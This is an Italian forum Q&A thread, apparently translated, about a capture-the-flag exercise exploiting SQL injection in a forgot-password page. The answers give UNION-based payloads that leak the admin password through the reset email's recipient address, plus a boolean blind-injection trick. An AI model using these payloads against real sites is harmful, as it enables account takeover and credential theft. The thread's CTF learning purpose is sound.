Iniezione SQL tramite la dichiarazione di aggiornamento

0

Sto lavorando su per acquisire l'assegnazione della bandiera . Ci è stato detto che c'era una bandiera se è possibile accedere con le credenziali admin . La pagina principale non sembra essere vulnerabile all'iniezione SQL ma la pagina della password dimenticata è.

Ecco il problema, la pagina dimentica la password richiede solo username e dichiara di inviare un link per la reimpostazione della password all'email fornita. Ho pensato che dovevamo raggruppare in una query UPDATE per modificare la password dell'account admin in modo che possiamo accedere, ma finora tutti i tentativi che ho provato sono falliti.

Poi ho letto che i server PHP non possono raggruppare le dichiarazioni, quindi dubito del mio approccio generale ora. Qualcuno potrebbe illuminarmi su come dovrei fare questo?

Il suggerimento dato è "la tabella contiene due colonne, nome utente e password". Ma questo non aiuta davvero ...?

    
posta Wboy 13.04.2018 - 07:55
fonte

2 risposte

3

Per inviare quell'e-mail, il server deve recuperare l'indirizzo e-mail dal database. Probabilmente fa qualcosa del genere:

$sql = "SELECT email FROM users WHERE username = '$username'";

Potresti provare a farti email da solo, iniettando un po 'di SQL in $username :

do_not_exist' UNION SELECT '[email protected]' FROM dual --

Ma se hai un link per la reimpostazione della password, probabilmente non lo sarà per l'utente amministratore. Hmm. Forse potresti utilizzare lo stesso indirizzo email per estrarre alcuni dati?

do_not_exist' UNION SELECT password + '@example.com' FROM users WHERE username = 'admin' --

Ora aspetti e vedi che indirizzo email riceve un'email. Il rischio è che lo script tenta anche di inserire una riga con il nome utente e il token di reimpostazione della password in una tabella. Se ciò viene fatto prima che l'e-mail sia inviata, e anche quella query è vulnerabile, questo potrebbe semplicemente bloccare lo script. Ma vale la pena provare.

    
risposta data 13.04.2018 - 10:39
fonte
0

Ha accettato il nome utente admin' and password < '9999 per un promemoria della password bud non ha accettato admin' and password < '0000

time for a game of guess the number :)

    
risposta data 14.04.2018 - 10:08
fonte

Leggi altre domande sui tag